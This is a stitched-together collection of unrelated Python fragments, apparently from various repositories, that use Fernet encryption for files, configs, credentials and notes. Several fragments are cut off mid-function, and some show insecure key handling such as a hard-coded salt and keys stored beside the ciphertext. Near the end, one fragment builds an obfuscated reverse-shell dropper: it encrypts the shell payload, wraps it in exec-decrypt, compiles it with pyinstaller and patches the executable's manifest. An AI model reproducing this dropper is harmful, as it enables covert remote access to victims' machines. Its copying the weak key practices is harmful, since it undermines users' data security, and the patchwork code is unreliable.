def generateMACModel(self, path): print("Generating Model MAC...") init_time = time.time() digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) os.chdir(path) for root, dirs, files in os.walk(path): for name in dirs: path1 = os.path.join(path, name) for root1, dirs1, files1 in os.walk(path1): for file in files1: with open(os.path.join(path1, file), 'rb') as myfile: data = myfile.read() digest.update(data) os.chdir(path) hashed = digest.finalize() f = Fernet(self.key) token = f.encrypt(hashed) f = open(os.path.join(path, 'modelsignature.txt'), 'w') f.write(token) f.close() final_time = time.time() - init_time print("Finished MAC generation in " + "{0:.4f}".format(final_time) + " seconds")
def enclip(filename): salt = b'd8fben47chfbdng6' # currently using a fixed salt kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend() # other backends are depreciated ) key = base64.urlsafe_b64encode(kdf.derive(encodedPass)) # output key to file - need to clear key file before every new file :( # do an error catch and loop through all keys until either one works or none work keyFile = open("keys.txt", 'a') keyFile.write(key.decode()) keyFile.write('\n') keyFile.close() enclipFile = open(filename, 'rb') fileContents = enclipFile.read() enclipFile.close() f = Fernet(key) encrypted = f.encrypt(fileContents) # print(encrypted) # writing to file enclipFileName = filename + ".enclip" f = open(enclipFileName, 'wb') f.write(encrypted) f.close() print(key) print("File enclipted: " + enclipFileName)
def run(self, _in, _out): if _in == '-': secrets = sys.stdin.read() else: with open(os.path.join(_in), 'r') as f: secrets = f.read() client = confidant.clients.get_boto_client( 'kms', endpoint_url=settings.KMS_URL, ) data_key = cryptolib.create_datakey( {'type': 'bootstrap'}, settings.KMS_MASTER_KEY, client=client, ) f = Fernet(data_key['plaintext']) data = { 'data_key': base64.b64encode(data_key['ciphertext'], ).decode('utf-8'), 'secrets': f.encrypt(secrets.encode('utf-8')).decode('utf-8'), } data = json.dumps(data) if _out == '-': print(data) else: with open(os.path.join(_out), 'w') as f: f.write(data)
def encrypt_config(self, config_file_path): """ Encrypt JSON configuration file. Output dek.enc and config.enc files that are to be uploaded to Github. Keyword arguments: config_file_path -- The path to the JSON file to be encrypted. """ fs = open(config_file_path, mode='r') config = fs.read() try: json.loads(config) except: self._log.debug('config: %s', config) self._log.exception('Config contents could not be parsed as JSON.') output_path = os.path.dirname(fs.name) self._log.debug('output_path: %s', output_path) # Generate a dek.enc file dek = Fernet.generate_key() encrypted_dek = self.encrypt(dek.decode('utf-8')) dek_path = Path(os.path.join(output_path, 'dek.enc')) with dek_path.open(mode='wb') as f: f.write(encrypted_dek) # Encrypt and write config.enc file f = Fernet(dek) encrypted_config = f.encrypt(config.encode('utf-8')) cfg_path = Path(os.path.join(output_path, 'config.enc')) with cfg_path.open(mode='wb', ) as f: f.write(encrypted_config)
def encrypt_write(data, file): data = bytes(data, 'utf-8') key = load_key() f = Fernet(key) encrypteddata = f.encrypt(data) f = open(file, "wb") f.write(encrypteddata) f.close()
def generate_keys(): print("[*] Generating key Pairs...") private_key = rsa.generate_private_key( public_exponent=65537, key_size=8192, backend=default_backend() ) public_key = private_key.public_key() pem = private_key.private_bytes( encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.PKCS8, encryption_algorithm=serialization.NoEncryption() ) key = Fernet.generate_key() print("======>>>> YOUR PRIVATE KEY PASSWORD IS <<<<======\n") print(key.decode()) print("\n=======>>>> COPY SOMEWERE SAFE <<<<=======") input("[*] Press enter to continue") f = Fernet(key) token = f.encrypt(pem) token = base64.b85encode(token) pem = public_key.public_bytes( encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo ) if not os.path.exists("keys"): os.makedirs("keys") private_key_filename="PRIVATE_key.pem" public_key_filename="PUBLIC_key.pem" private_key_path="keys/"+private_key_filename public_key_path = "keys/"+public_key_filename if os.path.exists(private_key_path) or os.path.exists(public_key_path): print("[!] WARNING: Found Existing Key Files\n") hash = hashlib.md5(str(token).encode('utf-8')).hexdigest() private_key_path="keys/"+hash[0:4]+"_"+private_key_filename public_key_path="keys/"+hash[0:4]+"_"+public_key_filename print("[*] The new pair will be created as:\n\t{}\n\t{}\n".format(private_key_path,public_key_path)) with open(private_key_path, 'wb') as f: f.write(token) with open(public_key_path, 'wb') as f: f.write(pem) print("=======>>>> DO NOT SHARE YOUR PRIVATE KEY! <<<<=======") print("[*] Done.")
def EncryptFileSymmetric(self,path_to_key,path_to_input,path_to_output) -> '1 file: encrypted file': with open(path_to_input,'rb') as f: message = f.read() with open(path_to_key,'rb') as f: key = f.read() f = Fernet(key) encrypted = f.encrypt(message) with open(path_to_output,'wb') as f: f.write(encrypted) return True
def generate_data(dest): import main_setup with open(CDATA_FILE, "rb") as f: raw_data = f.read() f = Fernet(key) enc_data = f.encrypt(raw_data) with open(dest, "wb") as f: f.write(enc_data)
def decrypt(filename): key = get_file_enc_key().encode('utf-8') f = Fernet(key) with open(f'{filename}.encrypted', "rb") as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data).decode('utf-8') print(decrypted_data) s = io.StringIO(decrypted_data) with open(filename, "w") as f: for line in s: f.write(line)
def DecryptFileSymmetric(self,path_to_key,path_to_input,path_to_output) -> '1 file: decrypted file': with open(path_to_input,'rb') as f: text = f.read() with open(path_to_key,'rb') as f: key = f.read() f = Fernet(key) decrypted = f.decrypt(text) try: with open(path_to_output,'w') as f: f.write(decrypted.decode()) except: with open(path_to_output,'wb') as f: f.write(decrypted)
def quit(self): self.running = False self.config['public_fids'] = self.public_fids self.config['private_fids'] = self.private_fids self.config['interval'] = self.interval_val.get() self.config['username'] = self.username_val.get() passwd = self.password_val.get() if passwd: f = Fernet(self.key) self.config['password'] = f.encrypt(passwd.encode()).decode() with open('.config', 'w') as f: f.write(json.dumps(self.config)) super(Application, self).quit() print('quit')
def encrypter(name, namepath): file1 = open('key.key', 'rb') key = file1.read() print("Key opened") file1.close() file2 = open(namepath, 'rb') filedata = file2.read() print("File opened") file2.close() f = Fernet(key) encrpd = f.encrypt(filedata) with open('{}.bcpt'.format(name), 'wb') as f: f.write(encrpd) print("Encrypted")
def encrypt(self, path, ouput_path, include_imports=False, key_length=10): if (not path.endswith(".py") and not path.endswith(".pyw")): raise Exception("{} is no .py or .pyw File!".format(path)) imports = "" imports += "# FileEncryptor 0.1.6 \n" imports += "# https://pypi.org/project/FileEncryption/ \n" data = "" key = Fernet.generate_key() try: f = open(path, "r+") lines = f.readlines() f.close() except Exception as e: raise Exception(e) for line in lines: if (line.startswith("import") or line.startswith("from")) and not include_imports: imports += line else: if not line.startswith("#") and not line.startswith("\n"): data += line randomname = self.randomstring(key_length) randomname1 = self.randomstring(key_length) randomname2 = self.randomstring(key_length) randomname3 = self.randomstring(key_length) imports += "\n" imports += "from base64 import b64decode as {}\n".format(randomname) imports += "from cryptography.fernet import Fernet as {}\n".format( randomname1) imports += "{} = {}\n".format(randomname3, key) imports += "{} = {}({})\n".format(randomname2, randomname1, randomname3) filedata = imports f = Fernet(key) filedata += 'exec({}.decrypt({}({})))'.format( randomname2, randomname, base64.b64encode(f.encrypt(data.encode()))) f = open(ouput_path, "w") f.write(filedata) f.close()
def generateMACInput(self, path): print("Generating Input MAC...") init_time = time.time() digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) with open(os.path.join(path, 'input.npy'), 'rb') as myfile: data = myfile.read() digest.update(data) hashed = digest.finalize() f = Fernet(self.key) token = f.encrypt(hashed) f = open(os.path.join(path, 'signature.txt'), 'w') f.write(token) f.close() final_time = time.time() - init_time print("Finished MAC generation in " + "{0:.4f}".format(final_time) + " seconds")
def declip(filename): declipFile = open(filename, 'rb') fileContents = declipFile.read() declipFile.close() # start copy salt = b'd8fben47chfbdng6' # currently using a fixed salt kdf = PBKDF2HMAC( algorithm=hashes.SHA256(), length=32, salt=salt, iterations=100000, backend=default_backend() # other backends are depreciated ) key = base64.urlsafe_b64encode(kdf.derive(encodedPass)) # end copy print(key) keyExists = False keyFile = open("keys.txt", 'r') for x in keyFile: if x.strip() == key: keyExists = True if (not (keyExists)): keyFile.close() sys.exit("This password is wrong. F**k you! :)") keyFile.close() f = Fernet(key) decrypted = f.decrypt(fileContents) #print(decrypted) # writing to file filename = "declip_" + filename declipFileName = filename.replace(".enclip", "", 1) f = open(declipFileName, 'wb') newContents = decrypted f.write(newContents) f.close() # implement remove .enclip file print("File declipted: " + declipFileName)
def send_to(to, text): print("Sending SMS:\n%s" % text) d = datetime.datetime.now().strftime("%y-%m-%d_%H-%M-%S.%f")[:-3] p = os.path.join(SMS_DIR, d) if conf.KEY: alphabet = "ISO" f = Fernet(conf.KEY) encrypted = f.encrypt(text.encode("utf-8")) msg = "%8%" + encrypted.decode("utf-8") else: alphabet = "UCS-2" msg = text header = '\n'.join([f"To: {to}", f"Alphabet: {alphabet}", "", ""]) print("Writing sms to %s" % p) with open(p, 'wb') as f: f.write(header.encode("UTF-8")) f.write(msg.encode("UTF-8")) f.flush()
def run(self, _in, _out): if _in == '-': secrets = sys.stdin.read() else: with open(os.path.join(_in), 'r') as f: secrets = f.read() data_key = cryptolib.create_datakey({'type': 'bootstrap'}, 'alias/{0}'.format( app.config['KMS_MASTER_KEY'])) f = Fernet(data_key['plaintext']) data = { 'data_key': base64.b64encode(data_key['ciphertext']), 'secrets': f.encrypt(secrets.encode('utf-8')) } data = json.dumps(data) if _out == '-': print data else: with open(os.path.join(_out), 'w') as f: f.write(data)
def encrypt_email(sendEmail, password, recieveEmail): """ Hashes the password using the key and saves it to a text file with the two emails. Args: sendEmail: a string containing the users gmail address recieveEmail: a string containing the recipients gmail address password: a string containing the users gmail password """ # converts email strings into bytes sendEmail = bytes(sendEmail + "\n", encoding="utf8") recpEmail = "" for email in recieveEmail: recpEmail += (str(email) + "\n") recieveEmail = bytes(recpEmail, encoding="utf8") password = bytes(password, encoding="utf8") # hashes the password with the generated key f = Fernet(key) encrypted = f.encrypt(password) print("password encrypted!") # writes hashed password and email list to text file with open("password.txt", "w"): pass with open("password.txt", "ab") as f: f.write(sendEmail) f.write(recieveEmail) f.write(encrypted)
def main(): message = sys.argv[1] #print("Message={}".format(message)) print("Message length is: {}".format(len(message))) eck1 = ec.generate_private_key(ec.SECP384R1(), default_backend()) eck2 = ec.generate_private_key(ec.SECP384R1(), default_backend()) tsct = transport_security.construct_message(plaintext=message, srcprivkey=eck1, destpubkey=eck2.public_key()) #print("TS={}".format(tsct)) print("Transport Security: {}".format(len(json.dumps(tsct)))) tsoh = (len(json.dumps(tsct))/len(message))*100 k = Fernet.generate_key() f = Fernet(k) fct = f.encrypt(bytes(message, 'utf-8')).decode('utf-8') #print("Fernet={}".format(fct)) print("Fernet: {}".format(len(fct))) foh = (len(fct)/len(message))*100 with open('bandwidth.out', 'a') as f: record = "{}\t{}\t{}\n".format(len(message), tsoh, foh) f.write(record)
def declip(filename): declipFile = open(filename, 'rb') fileContents = declipFile.read() declipFile.close() keyFile = open("keys.txt", 'r') key = keyFile.read() key = key.encode() keyFile.close() f = Fernet(key) decrypted = f.decrypt(fileContents) #print(decrypted) # writing to file filename = "declip_" + filename declipFileName = filename.replace(".enclip", "", 1) f = open(declipFileName, 'wb') # does this need to be in byte mode? newContents = decrypted #.decode() f.write(newContents) f.close() # remove file print("File declipted: " + declipFileName)
def writeId(session_id): encoded_text = str(session_id).encode() key = Fernet.generate_key() f = Fernet(key) token = f.encrypt(encoded_text) with open('session_id.txt', 'w') as f: f.write(key.decode("utf-8")) f.write("\n") f.write(token.decode("utf-8")) return
def get_note(name_entry, entry_entry): name = name_entry.get() name = name + "\n" entry = entry_entry.get() # encrypt entry entry = entry.encode(encoding="UTF-8") key = Fernet.generate_key() f = Fernet(key) token = f.encrypt(entry) key_str = key.decode(encoding="UTF-8") token_str = token.decode(encoding="UTF-8") # add key to keys file with open(keys_file, "a") as f: key_str = key_str + "\n" f.write(key_str) # add name and token to notes file token_str = token_str + "\n" with open(notes_file, "a") as f: f.write(name) f.write(token_str) start()
with open(args.filename, 'r') as f: html = f.read() years = {} print(f'Reading years from page.') tree = get_tree(html) containers = get_containers(tree) for container in containers: year = clean_year(container.find('div', {'class': 'student_year'}).text) info = container.find_all('div', {'class': 'student_info'}) try: email = info[1].find('a').text except AttributeError: continue years[email] = year content = json.dumps(years) print(content) encoded_content = content.encode() f = Fernet(args.key.encode()) encrypted_content = f.encrypt(encoded_content) with open(args.filename.replace('.html', '.json') + '.fernet', 'wb') as f: f.write(encrypted_content) print('Key:') print(args.key)
message = "my deep dark secret" encoded = message.encode() f = Fernet(key) encrypted = f.encrypt(encoded) print(encrypted) f2 = Fernet(key) decrypted = f2.decrypt(encrypted) print(decrypted) original_message = decrypted.decode() print(original_message) ##encrypt files with open('myfile.txt', 'rb') as f: data = f.read() f3 = Fernet(key) enc2 = f3.encrypt(data) with open('myfile.txt.encrypted', 'wb') as f: f.write(encrypted) f4 = Fernet(key) enc3 = f4.decrypt(enc2) ##decrypt files with open('myfile.txt.decrypted', 'wb') as f: f.write(enc3) print(enc2)
user_credentials = { 'sessionId': sessionId, 'ciLogin': ciLogin, 'ciPasswd': ciPasswd, 'ciUrl': ciUrl } user_credentials_json = json.dumps(user_credentials) # Encrypt user data into a binary file key = Fernet.generate_key() f = Fernet(key) message = user_credentials_json.encode() encrypted = f.encrypt(message) user_data_file = 'user_data.enc' with open(user_data_file, 'wb') as f: f.write(encrypted) variables.put("USER_KEY", key.decode()) variables.put("USER_DATA_FILE", user_data_file) # Get workflows variables PA_CATALOG_REST_URL = variables.get("PA_CATALOG_REST_URL") PYTHON_ENTRYPOINT = variables.get("PYTHON_ENTRYPOINT") YAML_FILE = variables.get("YAML_FILE") PA_MAAS_RESOURCES_URL = "/buckets/model-as-a-service/resources/" python_file_url = PA_CATALOG_REST_URL + PA_MAAS_RESOURCES_URL + PYTHON_ENTRYPOINT + "/raw" yaml_file_url = PA_CATALOG_REST_URL + PA_MAAS_RESOURCES_URL + YAML_FILE + "/raw" print("python_file_url: ", python_file_url) print("yaml_file_url: ", yaml_file_url) # Download the two configuration file "ml_service" for the service definition
#file.close() #decrypted=f.decrypt(me) #print(decrypted) ###################### file = open('4G.e.pdf', 'rb') me = file.read() file.close() decrypted = f.decrypt(me) with open('4G.d.pdf', 'wb') as f: f.write(decrypted) f.close() ######################" def save_key_pub(pk, filename): pem = pk.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.PKCS1) with open(filename, 'wb') as pem_out: pem_out.write(pem) pk = public_key filename = "pubkey.pem" save_key_pub(pk, filename)
data = input("string:-$ ") f = Fernet(key) encrypt = f.encrypt(data.encode()) print("string encrypted : ", encrypt.decode()) print("key : ",key.decode()) elif(n == 2): key2 = Fernet.generate_key() inp = input("file-to-encrypt-path:-$ ") out = input("file-to-copy-encrypt-path:-$ ") key3 = input("file-to-copy-key-path:-$ ") with open(inp,'rb') as f: mess = f.read() g = Fernet(key2) encrypt2 = g.encrypt(mess) with open(out,'wb') as f: f.write(encrypt2) with open(key3,'wb') as d: d.write(key2) print("Check : ",out) elif(n == 3): break if(d == 3): print() print("1 - decrypt some string ") print("2 - decrypt some text file") print("3 - back") n = 0 while(n != 3): n = int(input("decrypt:-$ ")) if(n == 1): data = input("string:-$ ")
p2s_thread = threading.Thread(target=p2s, args=[s, p]) p2s_thread.daemon = True p2s_thread.start() try: p.wait() except KeyboardInterrupt: s.close() ''' print("\n[+] Generating encoded payload") print("[+] Encrypting") key = Fernet.generate_key() f = Fernet(key) enc_pay = f.encrypt(bytes(payload)) f = open("shell.py", "w+") f.write( 'import os,sys,socket,subprocess,threading,win32gui,win32con,win32event,win32api,winerror\nfrom cryptography.fernet import Fernet\nimport os\nimport sys\nkey = ' + str(key) + '\n' + 'f_obj = Fernet(key)' + '\n' + 'enc_pay = ' + str(enc_pay) + '\n' + 'exec(f_obj.decrypt(enc_pay))') f.close() print("[+] compiling") system("pyinstaller -F shell.py 2>nul") print("[+]Adding manifest") system( "ResourceHacker.exe -open .\dist\shell.exe -resource manifest.res -action addskip -save .\dist\shell.exe" ) print("\n[+]Output generated at dist\shell.exe")
while True: answer = input( "Would you like to encrypt,decrypt,list passwords or exit the script(1/2/3/4)?: " ) if answer == "1": file = open('key.key', 'rb') key = file.read() file.close() message = input("Put the word to encrypt: ") encoded = message.encode() f = Fernet(key) encrypted = f.encrypt(encoded) f = open("list.txt", "a") userinpute = input("What would you like to label the password?: ") usrinpt = (userinpute + ": ") f.write(str("\n")) f.write(usrinpt) f.write(str(encrypted)) f.close() print(encrypted) elif answer == "2": filew = open('key.key', 'rb') key2 = filew.read() filew.close() encrypted1 = input( "What would you like to decrypt?(do not include b''): ") filee = open("temp.txt", "w") filee.write(encrypted1) filee.close() with open('temp.txt', 'rb') as fild: data = fild.read()
from cryptography.fernet import Fernet import sys import os key_file = sys.argv[1] file = sys.argv[2] key = open("key1.key", "rb").read() f = Fernet(key) file_data = open(file, "rb").read() decrypted_data = f.decrypt(file_data) file_name = file.split(".") with open(file_name[0] + "." + file_name[-2], "wb") as f: f.write(decrypted_data) os.remove(file) print("file decrypted")
etree.SubElement(root, "user").text = user etree.SubElement(root, "password").text = token etree.SubElement(root, "ovc").text = ovc etree.SubElement(root, "timerange").text = timerange etree.SubElement(root, "resolution").text = resolution etree.SubElement(root, "monitoringintervall").text = monitoring etree.SubElement(root, "logfile").text = logfile etree.SubElement(root, "port").text = port etree.SubElement(root, "monitor").text = monitor etree.SubElement(root, "cluster").text = cluster etree.SubElement(root, "limit").text = limit etree.SubElement(root, "offset").text = offset xmloutput = etree.tostring(root, pretty_print=True) f = open(xmlfile, 'w') f.write(xmloutput.decode('ASCII')) f.close() """ Test the keys """ """ Read keyfile """ f = open(keyfile, 'r') k2 = f.readline() f.close() key2 = k2.encode('ASCII') """ Parse XML File """ tree = etree.parse(xmlfile) u2 = (tree.find("user")).text p2 = (tree.find("password")).text f = Fernet(key2) user = f.decrypt(u2.encode('ASCII')).decode('ASCII')